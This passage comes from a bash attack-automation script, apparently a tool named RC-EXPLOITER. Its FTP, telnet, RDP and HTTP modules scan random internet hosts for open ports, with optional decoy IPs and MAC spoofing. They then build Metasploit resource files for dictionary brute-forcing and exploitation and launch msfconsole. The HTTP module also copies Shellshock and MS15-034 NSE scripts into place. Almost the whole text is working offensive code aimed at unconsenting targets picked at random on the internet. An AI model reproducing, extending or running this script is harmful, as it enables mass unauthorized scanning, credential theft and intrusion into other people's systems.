- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ftp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ftp.bk $IPATH/exploits/ftp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ftp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "FTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "FTP:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # ----------------
- # telnet exploiter
- # ----------------
- sh_6 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "TELNET:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 23 --open -oN $IPATH/logs/Random-Hosts[telnet].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[telnet].log\nHOSTS: $NUM ONLY: open PORTS: 23\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 23 --open -oN $IPATH/logs/Random-Hosts[telnet].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[telnet].log\nHOSTS: $NUM ONLY: open PORTS: 23\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[telnet].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/telnet.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[telnet].log > /dev/null 2>&1
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary file and logfile)
- cp telnet.rc telnet.bk > /dev/null 2<&1
- sed "s|R3PL4C3|$dIc|g" telnet.rc > copy.int
- sed "s|Lt0P4tH|$IPATH/logs/[telnet]|g" copy.int > copy2.int
- mv copy2.int telnet.rc > /dev/null 2<&1
- cd $IPATH
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[telnet].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/telnet.bk $IPATH/exploits/telnet.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/telnet.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "TELNET:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "TELNET:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/telnet.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary file and logfile)
- cp telnet.rc telnet.bk > /dev/null 2<&1
- sed "s|R3PL4C3|$dIc|g" telnet.rc > copy.int
- sed "s|Lt0P4tH|$IPATH/logs/[telnet].log|g" copy.int > copy2.int
- mv copy2.int telnet.rc > /dev/null 2<&1
- cd $IPATH
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[telnet].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/telnet.bk $IPATH/exploits/telnet.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/telnet.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "TELNET:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "TELNET:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # -------------
- # RDP exploiter
- # -------------
- sh_7 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "RDP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 3389 --open --reason -oN $IPATH/logs/Random-Hosts[rdp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[rdp].log\nHOSTS: $NUM ONLY: open PORTS: 3389\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 3389 --open --reason -oN $IPATH/logs/Random-Hosts[rdp].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[rdp].log\nHOSTS: $NUM ONLY: open PORTS: 3389\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[rdp].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/rdp.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[rdp].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp rdp.rc rdp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[rdp].log|g" ftp.rc > copy.int
- mv copy.int rdp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[rdp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/rdp.bk $IPATH/exploits/rdp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/rdp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "RDP:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "RDP:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/rdp.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp rdp.rc rdp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[rdp].log|g" ftp.rc > copy.int
- mv copy.int rdp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[rdp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/rdp.bk $IPATH/exploits/rdp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/rdp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "RDP:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "RDP:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # --------------
- # HTTP exploiter
- # --------------
- sh_8 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "HTTP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 80 --open --reason -oN $IPATH/logs/Random-Hosts[http].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 80\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 80 --open --reason -oN $IPATH/logs/Random-Hosts[http].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[http].log\nHOSTS: $NUM ONLY: open PORTS: 80\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[http].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg TARGETURI /cgi-bin/printenv.cgi" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/http.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME BLANK_PASSWORDS STOP_ON_SUCCESS TARGETURI THREADS BLANK_PASSWORDS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[http].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp http.rc http.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[http].log|g" http.rc > copy.int
- sed "s|LiLiP4tH|$IPATH/logs/[http].log|g" copy.int > copy2.int
- mv copy2.int http.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- # check if exists nmap scripts folder
- if [ -d $nS31 ]; then
- # check if exists shellshock script
- if [ -e $nS31/http-shellshock.nse ]; then
- echo "good" > /dev/null 2>&1
- else
- # copy nse scripts and lua lib to nmap directory
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- cp $IPATH/bin/http-shellshock.nse $nS31/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $nS31/ms15-034.nse
- Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- cp $IPATH/bin/http-shellshock.nse $Ints/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $Ints/ms15-034.nse
- fi
- else
- # error nse folder not found
- echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
- echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
- sleep 2
- # manually input NSE folders path and metasploit nmap path
- qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
- qU2=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
- # copy files to its rigth place in nmapdb and msfdb
- cp $IPATH/bin/http-shellshock.nse $qU/http-shellshock.nse
- cp $IPATH/bin/http-shellshock.nse $qU2/http-shellshock.nse
- cp $IPATH/bin/ms15-034.nse $qU/ms15-034.nse
- cp $IPATH/bin/ms15-034.nse $qU2/ms15-034.nse
- fi
- # update NSE database befor running resource files
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
- nmap --script-updatedb | grep "updated"
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[http].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- rm $IPATH/exploits/copy.int > /dev/null 2<&1
- mv $IPATH/exploits/http.bk $IPATH/exploits/http.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/http.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "HTTP:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "HTTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg TARGETURI /cgi-bin/printenv.cgi" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/http.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
